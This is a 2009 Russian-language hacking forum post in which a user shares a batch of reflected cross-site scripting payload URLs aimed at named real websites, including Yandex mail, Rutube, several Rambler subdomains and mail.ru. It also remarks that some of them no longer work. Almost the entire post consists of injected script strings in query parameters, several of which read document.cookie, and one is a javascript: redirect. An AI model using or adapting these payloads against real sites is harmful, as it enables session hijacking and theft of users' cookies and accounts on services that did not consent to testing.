Показать сообщение отдельно

  #103  
Старый 03.12.2009, 17:36
Root-access
Участник форума
Регистрация: 18.06.2008
Сообщений: 222
Провел на форуме:
2223440

Репутация: 648
По умолчанию

Yandex XSS: http://mail.yandex.ru/classic/abook_person?ids=1\');'>');}</script><script>alert()</script>

Вот ещё кучка XSS, которые я где-то выкладывал, что-то уже нерабочее:

Код:
http://rutube.ru/search.html?search=sum41&sort_by=1"><script>alert( 'XSS')</script>&category=1

http://help.rambler.ru/feedback.html?s=7715&fio="><script>alert('XSS')</script> 

http://horoscopes.rambler.ru/fortune.html?sec=56576"><script>alert('XSS')</script> 

http://story.travel.mail.ru/?mod=add_story&back="><script>alert(document.cooki e)</script> 

http://miss.rambler.ru/srch/?sort=0&set=miss&words="><script>alert(document.co okie)</script> 

http://skate.rambler.ru/popup.html?alt=</title><script>alert(document.cookie)</script> 

http://www.pisem.net/download.php/?file="><script>alert('XSS')</script> 

http://sub.rambler.ru/catalog/rambler/news/?login="><script>alert('XSS')</script> 

http://health.rambler.ru/drugs/pharmacy.html?phid=37"><script>alert('XSS')</script>

http://foto.rambler.ru/introduce.htm...)%3C/script%3E

http://uptime.ru/downtime.php?host_id="><script>alert()</script>"

http://www.speedguide.net/read_articles.php?id="><script>alert()</script>"

http://mail.yandex.ru/r?url=javascript:alert();
 
Ответить с цитированием